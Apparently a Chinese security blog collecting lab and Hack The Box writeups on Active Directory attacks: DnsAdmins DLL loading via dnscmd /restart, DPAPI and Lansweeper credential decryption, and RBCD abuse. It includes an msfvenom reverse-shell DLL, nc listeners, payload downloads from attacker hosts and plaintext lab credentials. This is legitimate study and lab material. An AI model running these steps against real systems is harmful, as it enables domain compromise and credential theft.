WINRM       10.129.203.20   5985   INVENTORY        [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) 
WINRM       10.129.203.20   5985   INVENTORY        [-] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX

存在权限但是没有winrm，回头这个用户的猎犬

有出站，可以将自己添加入LANSWEEPER ADMINS组，并且LANSWEEPER ADMINS组属于远程管理组

远程加入组成功

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ bloodyAD --host "$ip" -d "$domain" -u $user1 -p $pass1 add groupMember "LANSWEEPER ADMINS" "$user"
[+] svc_inventory_lnx added to LANSWEEPER ADMINS

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc winrm $ip -u $user1 -p $pass1
WINRM       10.129.203.20   5985   INVENTORY        [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) 
WINRM       10.129.203.20   5985   INVENTORY        [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX (Pwn3d!)

登陆获取user.txt

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ evil-winrm -i $ip -u $user1 -p $pass1
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\svc_inventory_lnx\Documents> cd ../../../
*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/31/2025   4:06 AM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         7/28/2025   4:38 PM                Program Files
d-----          2/8/2024  12:17 PM                Program Files (x86)
d-r---         8/27/2025   7:43 AM                Users
d-----         7/31/2025   4:11 AM                Windows
-a----          8/5/2025   5:45 AM             33 user.txt


*Evil-WinRM* PS C:\> type user.txt
d2d89a8******************165

提权

钻了一会兔子洞，dpapi没有信息，winpeas扫到了Lansweeper的凭证信息位于

*Evil-WinRM* PS C:\> cd 'C:\Program Files (x86)\Lansweeper\Key'
*Evil-WinRM* PS C:\Program Files (x86)\Lansweeper\Key> dir


    Directory: C:\Program Files (x86)\Lansweeper\Key


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          2/8/2024  11:48 AM           1024 Encryption.txt

但是它是加密的，我们可以简单枚举一下就找到能利用的工具

https://github.com/Yeeb1/SharpLansweeperDecrypt

环境应该存在一定的防护，但是我懒得检测，evil的上传失效，所以起py传上去

*Evil-WinRM* PS C:\windows\tasks> certutil -urlcache -split -f http://10.10.16.22/LansweeperDecrypt.ps1 C:\windows\tasks\LansweeperDecrypt.ps1
****  Online  ****
  0000  ...
  10b3
CertUtil: -URLCache command completed successfully

powershell运行后会自动解密凭证库

*Evil-WinRM* PS C:\windows\tasks> powershell .\LansweeperDecrypt.ps1
[+] Loading web.config file...
[+] Found protected connectionStrings section. Decrypting...
[+] Decrypted connectionStrings section:
<connectionStrings>
    <add name="lansweeper" connectionString="Data Source=(localdb)\.\LSInstance;Initial Catalog=lansweeperdb;Integrated Security=False;User ID=lansweeperuser;Password=Uk2)Dw3!Wf1)Hh;Connect Timeout=10;Application Name=&quot;LsService Core .Net SqlClient Data Provider&quot;" providerName="System.Data.SqlClient" />
</connectionStrings>
[+] Opening connection to the database...
[+] Retrieving credentials from the database...
[+] Decrypting password for user: SNMP Community String
[+] Decrypting password for user:
[+] Decrypting password for user: SWEEP\svc_inventory_win
[+] Decrypting password for user: svc_inventory_lnx
[+] Credentials retrieved and decrypted successfully:

CredName          Username                Password
--------          --------                --------
SNMP-Private      SNMP Community String   private
Global SNMP                               public
Inventory Windows SWEEP\svc_inventory_win 4^56!sK&}eA?
Inventory Linux   svc_inventory_lnx       0|5m-U6?/uAX


[+] Database connection closed.
*Evil-WinRM* PS C:\windows\tasks>

还记得吗，这个win是域管，所以直接登陆获得root

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo user2=svc_inventory_win>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo pass2='4^56!sK&}eA?'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ vim start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo $pass2
4^56!sK&}eA?

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ evil-winrm -i $ip -u $user2 -p $pass2
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\svc_inventory_win\Documents> cd ../desk*
*Evil-WinRM* PS C:\Users\svc_inventory_win\Desktop> type root.txt
Cannot find path 'C:\Users\svc_inventory_win\Desktop\root.txt' because it does not exist.
At line:1 char:1
+ type root.txt
+ ~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\svc_in...esktop\root.txt:String) [Get-Content], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\svc_inventory_win\Desktop> cd ../../administrator/des*
*Evil-WinRM* PS C:\Users\administrator\Desktop> type root.txt
71770ae*****************77cc65

不算难的机器，但是有少许兔子洞，挺好玩的

基于DnsAdmin组的dns热重载权限维持及衍生情况

Mon, 25 Aug 2025 18:50:52 +0800

本文所使用环境

这篇环境当中，我使用的是我自建靶机bicker,其中tindalos就是dnsadmin组

本文阅读前置介绍

dnsadmin作为域渗透中的一个常见提权思路，网上的文章已经有很多了，但是普遍是你抄我我抄你，大部分都是一个模板套出来的，其原因也很简单,最容易枚举到的是nairuzabulhul的这篇博客，而那些“一般文章”普遍都是刻着它的模板，按照他们的解释来看，只要是dnsadmin组就允许执行以下操作进行提权

利用dnscmd.exe给dns的组件serverlevelplugindll注册恶意后门dll
监听shell
利用sc.exe重启服务，在服务重启的时候dns会加载恶意dll并回弹system权限shell

当然，在准备详细研究之前我也是这么觉得的，但是当我们真正配置了一个dnsadmin组则会发现dnsadmin组其实默认并不具备重启服务的权限

evil-winrm-py PS C:\Users\tindalos\Documents> whoami /all

用户信息
----------------

用户名          SID                                         
=============== ============================================
bicker\tindalos S-1-5-21-298176814-2846777796-698167141-1103


组信息
-----------------

组名                                        类型   SID                                          属性                                  
=========================================== ====== ============================================ ======================================
Everyone                                    已知组 S-1-1-0                                      必需的组, 启用于默认, 启用的组        
BUILTIN\Remote Desktop Users                别名   S-1-5-32-555                                 必需的组, 启用于默认, 启用的组        
BUILTIN\Remote Management Users             别名   S-1-5-32-580                                 必需的组, 启用于默认, 启用的组        
BUILTIN\Users                               别名   S-1-5-32-545                                 必需的组, 启用于默认, 启用的组        
BUILTIN\Pre-Windows 2000 Compatible Access  别名   S-1-5-32-554                                 必需的组, 启用于默认, 启用的组        
NT AUTHORITY\NETWORK                        已知组 S-1-5-2                                      必需的组, 启用于默认, 启用的组        
NT AUTHORITY\Authenticated Users            已知组 S-1-5-11                                     必需的组, 启用于默认, 启用的组        
NT AUTHORITY\This Organization              已知组 S-1-5-15                                     必需的组, 启用于默认, 启用的组        
BICKER\DnsAdmins                            别名   S-1-5-21-298176814-2846777796-698167141-1101 必需的组, 启用于默认, 启用的组, 本地组
NT AUTHORITY\NTLM Authentication            已知组 S-1-5-64-10                                  必需的组, 启用于默认, 启用的组        
Mandatory Label\Medium Plus Mandatory Level 标签   S-1-16-8448                                                                        


特权信息
----------------------

特权名                        描述             状态  
============================= ================ ======
SeMachineAccountPrivilege     将工作站添加到域 已启用
SeChangeNotifyPrivilege       绕过遍历检查     已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集   已启用


用户声明信息
-----------------------

用户声明未知。

已在此设备上禁用对动态访问控制的 Kerberos 支持。
evil-winrm-py PS C:\Users\tindalos\Documents> sc.exe stop dns
[SC] OpenService 失败 5:

拒绝访问。

evil-winrm-py PS C:\Users\tindalos\Documents>

这意味着如果进入实战环境或者远程靶机环境，没有配置服务管理权限的dnsadmin将很难利用（无重启特权）

dnsadmin热重载

为了找寻如何在仅仅使用dnsadmin组权限进行服务重启类似效果时，我查看了MS-DNSP的文档，我查找到了这一行

§If pszOperation is Restart, the server MUST restart the DNS server, and return success.

文档中显示的结果就是服务器在R_DnssrvOperation中接受的命令有restart这个值，也意味着确实存在重启选项

于是我查看dnscmddnscmd的文档，但是当我搜索restart的时候一无所获，走头无路的我找到了Yuval Gordon的文章(事实上后续的研究我参考了他很多，感谢前人)，发现他找到了dnscmd存在/restart参数，当我尝试后，它真的成功了

#这里我使用的rev.dll为：msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=443 -f dll -o rev.dll
evil-winrm-py PS C:\users\tindalos> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

注册属性 serverlevelplugindll 成功重置。
命令成功完成。

evil-winrm-py PS C:\users\tindalos> dnscmd.exe /restart

. 已成功完成。
命令成功完成。

└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.174.129] from (UNKNOWN) [192.168.174.143] 54728
Microsoft Windows [°汾 10.0.20348.169]
(c) Microsoft Corporation¡£±£´̹ԐȨ{¡£

C:\Windows\system32>

这令我有点意外，因为我不理解为何它能重启服务，并且它并不在微软的文档当中，于是我对dnsadmin以及dnscmd的使用进行了研究

这种不利用sc执行的攻击类似于热重载，其本质上与服务重启的含义并不同，导致的效果也并不同，如果你对这块内容感兴趣，可以跳到本文章的 /restart优点和缺点

dnsadmin组权限解析及结论

我们登陆环境当中的域管理并筛选dnsadmin对MicrosoftDNS容器的控制权限可以看到基本上就是通用all权限

dsacls "CN=MicrosoftDNS,CN=System,DC=bicker,DC=com"

允许 BICKER\DnsAdmins   特殊访问
    DELETE
    READ PERMISSONS
    WRITE PERMISSIONS
    CHANGE OWNERSHIP
    CREATE CHILD
    DELETE CHILD
    LIST CONTENTS
    WRITE SELF
    WRITE PROPERTY
    READ PROPERTY
    DELETE TREE
    CONTROL ACCESS

我们尝试创建一个域用户且添加远程管理和对MicrosoftDNS的通用写入和读取

evil-winrm-py PS C:\Users\Administrator\Documents> New-ADUser -Name "dns-test" -SamAccountName "dns-test" -AccountPassword (ConvertTo-S
ecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true
evil-winrm-py PS C:\Users\Administrator\Documents> Add-ADGroupMember -Identity "Remote Management Users" -Members "dns-test"
evil-winrm-py PS C:\Users\Administrator\Documents> dsacls "CN=MicrosoftDNS,CN=System,DC=bicker,DC=com" /G "BICKER\dns-test:GRGW"

修改完毕后列出，可以看到dns-test用户并没有完全添加通用写入和通用读取，这可能是因为AD 对象类型限制，毕竟MicrosoftDNS本质上属于容器，域环境应该会阻止对其写入通用写入权限（这是我的猜测，其并不准确，我会在后续有时间的时候继续探讨这个问题）

允许 BICKER\dns-test  特殊访问
   READ PERMISSIONS #通用读取
   LIST CONTENTS #列出内容
   WRITE SELF #写入自身
   WRITE PROPERTY #属性写入
   READ PROPERTY #属性读取
   LIST OBJECT #列出对象

当我们登陆这个用户并尝试执行和之前tindalos用户（属于dnsadmin组）通用的加载权限的时候，令我惊讶的事情发生了，这个不在dnsadmin组当中的用户毫无阻碍的将system权限shell弹了回来

evil-winrm-py PS C:\users\dns-test> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

注册属性 serverlevelplugindll 成功重置。
命令成功完成。

evil-winrm-py PS C:\users\dns-test> dnscmd.exe /restart

. 已成功完成。
命令成功完成。

└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.174.129] from (UNKNOWN) [192.168.174.143] 55669
Microsoft Windows [°汾 10.0.20348.169]
(c) Microsoft Corporation¡£±£´̹ԐȨ{¡£

C:\Windows\system32>

所以这里我意识到，只要我们对dns容器存在读取写入权限，我们就能利用热重载进行攻击

于是我又测试了仅仅给dns-test给予属性读写，看他能否操作热重载

允许 BICKER\dns-test  特殊访问
   WRITE PROPERTY #属性写入
   READ PROPERTY #属性读取

evil-winrm-py PS C:\wirteTEMP> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

DNS 服务器未能重置注册属性。
    状态 = 5 (0x00000005)
命令失败:  ERROR_ACCESS_DENIED     5    0x5

失败是正常的，单一的属性读取并不足以dnscmd进行认证

所以现在可以给出现阶段的研究结论了:

执行热重载dns劫持并不一定需要成为dnsadmin组，而只需要对MicrosoftDNS容器的通用读取权限以及写入属性权限（Yuval Gordon文章指出需要通用写入以及通用读取，在以上的测试中我发现通用写入并不一定需要且配置起来比较困难，所以读取属性权限就够了），以及对dc的rpc访问权限即可（域用户即可）

攻击路径检测难度

那么这种不再dnsadmin组中却对dns容器存在acl的情况是否容易检测呢？

通过猎犬，我们可以看到用户没有出站，针对性查找也无法查找，这很正常

猎犬只抓取

用户（User）
组（Group）
计算机（Computer）
OU（组织单位）
域（Domain）
GPO（组策略对象）

而MicrosoftDNS属于system容器，容器(Container)默认是不会被抓取的，因为它不是常规的 OU 或对象类型，正常的hound只扫描标准AD-ACL。

但是powerview的高危筛选就能清晰的筛选出来

evil-winrm-py PS C:\wirteTEMP>. .\PowerView.ps1
evil-winrm-py PS C:\wirteTEMP> Find-InterestingDomainAcl -ResolveGUIDs


ObjectDN                : CN=MicrosoftDNS,CN=System,DC=bicker,DC=com
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : Self, WriteProperty, GenericRead
ObjectAceType           : None
AceFlags                : None
AceType                 : AccessAllowed
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-298176814-2846777796-698167141-3601
IdentityReferenceName   : dns-test
IdentityReferenceDomain : bicker.com
IdentityReferenceDN     : CN=dns-test,CN=Users,DC=bicker,DC=com
IdentityReferenceClass  : user

所以在这种情况下只能利用利用rast模块本地枚举或者powerview

/restart优点和缺点

当我们利用热重载进行攻击过后，查看dns的日志文件，发现仅存在事件

事件ID770（已加载服务器级插件 DLL）事件ID140，而正常的服务重启会产生7035(服务重启)，7036(服务状态更改)等事件，这些事件无一例外的都会产生大量“噪音”

为何利用/restart操作会这样呢，其实问题藏在事件ID140报错当中（rpc终结点重复）

DNS管理面是通过RPC终结点对外提供接口的。一个服务在对外“开门”前，会先注销旧终结点，再注册新终结点，无论是正常重启还是内部重载，代码层面都去调了“注销终结点”的同一个 API，但这个注销动作失败了，可以这么理解

正常重启：原理是服务进程会退出，重新启动一个新进程，在退出进程前服务注销失败，但进程马上退出。进程一退出，RPC运行时会自动清理它的终结点注册，所以不会留下脏状态；新进程再起来，顺利注册，没有后续错误。
内部重载（/Restart）:同一个进程里调用内部函数reloadShutdown，把组件“关—再开”，不退出进程。类似“热重载”但是进程并未重启。所以注销失败后，旧的终结点还挂着；接着重载流程又去注册相同的终结点，于是 RPC 端点映射器发现“这玩意儿已经有了”，报 140事件错误

从这件事件可以看出热重载和服务重启的区别

服务重启会产生大量日志报告，且需要服务重启权限，一般需要域管理或者server2019前存在的默认组服务操作员等权限，或者更彻底一点，直接等待机器重启，但是重启后并不会导致dns管理平台失控，还是正常允许我们撤销dll痕迹清楚
热重载“噪音小”且只需要dnsadmin或者容器读写权限即可单独操作，但是会导致140错误，在机器下次重启之前dns管理平台会死机，这个进程将不再允许dns管理控制台的介入，dnscmd也无法进行下一步工作

感谢

本拙略冗长的文章就到此结束了，在这次研究中我还是有很多底层或者权限理解并未搞清楚，会在之后继续学习，并分享出来，感谢以下文章以及人员的帮助

Yuval Gordon的文章是我这篇文章的基础

感谢IPv32 乔.九九.☆.0/24的帮助，这篇文章的由来也是因为他对我的靶机产生了非预期解（笑哭）

bicker-wp

Mon, 25 Aug 2025 15:15:18 +0800

信息收集

主机确认

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ echo ip=192.168.174.143>start.sh

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ ping $ip
PING 192.168.174.143 (192.168.174.143) 56(84) bytes of data.
64 bytes from 192.168.174.143: icmp_seq=1 ttl=128 time=0.691 ms
64 bytes from 192.168.174.143: icmp_seq=2 ttl=128 time=1.27 ms

端口扫描

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ rustscan -a $ip
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.174.143:53
Open 192.168.174.143:88
Open 192.168.174.143:135
Open 192.168.174.143:139
Open 192.168.174.143:389
Open 192.168.174.143:445
Open 192.168.174.143:464
Open 192.168.174.143:593
Open 192.168.174.143:636
Open 192.168.174.143:3268
Open 192.168.174.143:3269
Open 192.168.174.143:3389
Open 192.168.174.143:5357
Open 192.168.174.143:5985
Open 192.168.174.143:9389

简单扫描了一下确认为dc域控，那就不详细扫描了直接测试主要端口

突破边界

存在smb匿名，直接连接puppy，发现一张图片

一张意义不明的图片

查看元数据，察觉到不对劲的地方

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ exiftool puppy.jpg 
ExifTool Version Number         : 13.10
File Name                       : puppy.jpg
Directory                       : .
File Size                       : 58 kB
File Modification Date/Time     : 2025:08:15 21:50:13-04:00
File Access Date/Time           : 2025:08:15 21:50:50-04:00
File Inode Change Date/Time     : 2025:08:15 21:50:13-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 1200
Y Resolution                    : 1200
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               : bilibili
Orientation                     : Horizontal (normal)
Software                        : Google
Artist                          : uid=3546958956333518
Exif Version                    : 0220
Exif Image Width                : 620
Exif Image Height               : 381
Image Width                     : 620
Image Height                    : 381
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 620x381
Megapixels                      : 0.236

在其中发现bilibili以及uid关键字，去b站查找到定位账号

从该用户个人动态获取泄露信息，获取账号密码

tindalos/Th3C@ll0fCtHu1hu!

测试连接成功，获取user

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ echo user1=tindalos>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ echo pass1='Th3C@ll0fCtHu1hu!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ evil-winrm -i $ip -u $user1 -p $pass1
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\tindalos\Documents> cd ../
*Evil-WinRM* PS C:\Users\tindalos> cd desk*
*Evil-WinRM* PS C:\Users\tindalos\Desktop> type user.txt
user{f3a9d2b1c4e87a5f6d9b}
*Evil-WinRM* PS C:\Users\tindalos\Desktop>

域内提权

tindalos是dnsadmin的组员

组名                                        类型   SID                                          属性
=========================================== ====== ============================================ ======================================
Everyone                                    已知组 S-1-1-0                                      必需的组, 启用于默认, 启用的组
BUILTIN\Remote Desktop Users                别名   S-1-5-32-555                                 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Management Users             别名   S-1-5-32-580                                 必需的组, 启用于默认, 启用的组
BUILTIN\Users                               别名   S-1-5-32-545                                 必需的组, 启用于默认, 启用的组
BUILTIN\Pre-Windows 2000 Compatible Access  别名   S-1-5-32-554                                 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NETWORK                        已知组 S-1-5-2                                      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users            已知组 S-1-5-11                                     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization              已知组 S-1-5-15                                     必需的组, 启用于默认, 启用的组
BICKER\DnsAdmins                            别名   S-1-5-21-298176814-2846777796-698167141-1101 必需的组, 启用于默认, 启用的组, 本地组
NT AUTHORITY\NTLM Authentication            已知组 S-1-5-64-10                                  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Plus Mandatory Level 标签   S-1-16-8448

dnsadmin可以为dns注册黑dll，下次服务重启会获得system，但是我们没有重启服务的权限，于是抓个猎犬

nxc ldap "$ip" -u "$user1" -p "$pass1" --bloodhound --collection All --dns-server "$ip"

这里我为了方便利用nxc去抓取，并且因为本地部署不影响，正常情况大家还是使用其他工具比较稳定

tindalos并未有稳定的出站，但是我找到了一个有意思的组

存在一个dns重启组，我们假定它存在重启dns的权限，总之我们没获得什么特别有用的信息，于是回头看tindalos

应用以及桌面都没有信息，转头去看dpapi,注意由于我们域环境首先查看的是Roaming也就是游离保存，域凭证一般会利用Roaming保存，而local是本机凭证保存，如果没有信息的话后续再观察

*Evil-WinRM* PS C:\Users\tindalos\AppData> dir


    目录: C:\Users\tindalos\AppData


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/15/2025   5:22 PM                Local
d-----         8/15/2025  11:18 AM                LocalLow
d-----         8/15/2025  11:18 AM                Roaming

发现确实存在保存凭证

*Evil-WinRM* PS C:\Users\tindalos\AppData\Roaming\Microsoft\Credentials> ls -force


    目录: C:\Users\tindalos\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         8/15/2025   6:26 PM            326 A2E4656BCBABFD9279E090E8482A7141

将其与masterkey一块抓取到本地解密

    目录: C:\Users\tindalos\AppData\Roaming\Microsoft\Protect\S-1-5-21-298176814-2846777796-698167141-1103


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         8/15/2025  11:18 AM            900 BK-BICKER
-a-hs-         8/15/2025   6:11 PM            740 cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74
-a-hs-         8/15/2025   6:11 PM             24 Preferred

利用tindalos的sid，密码，masterkey文件解密

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ impacket-dpapi masterkey -file cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74 -sid S-1-5-21-298176814-2846777796-698167141-1103 -password 'Th3C@ll0fCtHu1hu!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27

再利用解密出来的masterkey解密cert

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ impacket-dpapi credential -file A2E4656BCBABFD9279E090E8482A7141 -key 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-08-15 10:26:22
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=LOCALMACHINE
Description : 
Unknown     : 
Username    : lihua
Unknown     : hello%2633

成功解密出lihua的账户密码

并且能成功登陆，查看猎犬

发现lihua属于账户操作员组，对低权限所有用户都有通用掌控，于是我们直接能直接修改dns重启员的账户

bloodyAD --host <DC_IP> -d <域名> -u <管理员用户名> -p <管理员密码> set password <目标用户> <新密码>

利用修改账号密码登陆

dnsadmin利用提权

简单来说dnsadmin能给dns服务注册一个插件dll，我们能将其替换为恶意dll，之后等待机器重启，或者能操控dns服务重启后，我们会在服务自检断开前获得少于一分钟的system权限

但是需要注意注册dll的次数只有一次，所以靶机作者也在jianyin用户桌面留了信息，在进行下一步前请保存快照

首先生成一个msf恶意dll载荷

┌──(wackymaker㉿kali)-[~/tmp/synthetic/bicker]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=443 -f dll -o rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll

传递到靶机上，因为联网的defender远程加载难以通过，而作者在根目录设置了白名单文件夹作于便利

*Evil-WinRM* PS C:\wirteTEMP> type re*
此目录已经设置了defender白名单，不想处理免杀的可以随意使用此目录

不要使用evil-winrm上传，因为evil-winrm的bug，看上去上传成功其实长度是0

Invoke-WebRequest -Uri "http://192.168.174.129/rev.dll" -OutFile "C:\wirteTEMP\rev.dll"

还是使用古法上传，之后利用tindalos注册此dll

注意这一步是无法回头的，注意快照

之后在jianyin用户上重启服务

从另外一边的监听直接接受shell

权限为system成功获取rootflag

如果在这里没有完成操作shell就断了是正常了，服务异常自检失败后shell会断连，但是只要注册dll成功，我们随时都能通过重启获得这个shell，所以无所谓

使用普通用户帐户远程利用RBCD

Sat, 23 Aug 2025 20:02:05 +0800

使用普通用户帐户远程利用 RBCD（基于资源委派）

我是站在巨人们的肩膀上

在这篇文章开始之前，我本来想详细解释一下rbcd，奈何Wagging the Dog写的文章已经足够全面了，这就像我这篇文章的主旋律一样，我吸取了0xdf这台phantom的知识，并且他把我引导到了James Forshaw这篇此文章基础的知识点。在我意识到0xdf的那台靶场环境存在限制并且James Forshaw并没有完全描述出远程攻击的利用手段，便有了这篇文章，就算你没有去看以上的文章，我也会尽可能让你理解使用普通用户帐户远程利用 RBCD

从失败中找到答案

Wagging the Dog描述的很明确，当我们对本地计算机的域帐户具有写入访问权限，即可修改msDS-AllowedToActOnBehalfOfOtherIdentity属性以添加另一个帐户的 SID。之后就可以将该帐户与用户服务（S4U）协议一起使用，以获取本地计算机的 Kerberos 服务票证，作为域上的任何用户（包括本地管理员）进行票据认证

正常的rbcd一般需要我们创建一台机器账户或者手中已经有了一台完全控制的机器账户，这样才能正常的对目标进行请求，要绕过这个限制，我们需要实践一下看看报错是如何产生的

┌──(wackymaker㉿kali)-[~/test]
└─$ cat start.sh 
ip=192.168.174.145
user=mrrobot
pass=mrroboto12
domain=novice.com
hash=c8fa8686516464c51cfc0bdc3e52ef9e
FQDN=DC.novice.com

我在本地配置了如上环境，域用户mrrobot具备对dc$的GenericWrite的权限，以便我们可以配置rbcd的环境，我们先正常的将mrrobot写入DC$的msDS-AllowedToActOnBehalfOfOtherIdentity属性并尝试委派

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-rbcd -action write -delegate-to "DC$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] mrrobot can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     MrRobot      (S-1-5-21-3649830887-1815587496-1699028491-1104)

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getST -impersonate Administrator -spn cifs/DC.novice.com $domain/$user:$pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Probably user mrrobot does not have constrained delegation permisions or impersonated user does not exist

可以看到我们写入属性是成功的，但是在请求委派的过程种遭到了报错

[*] Requesting S4U2self
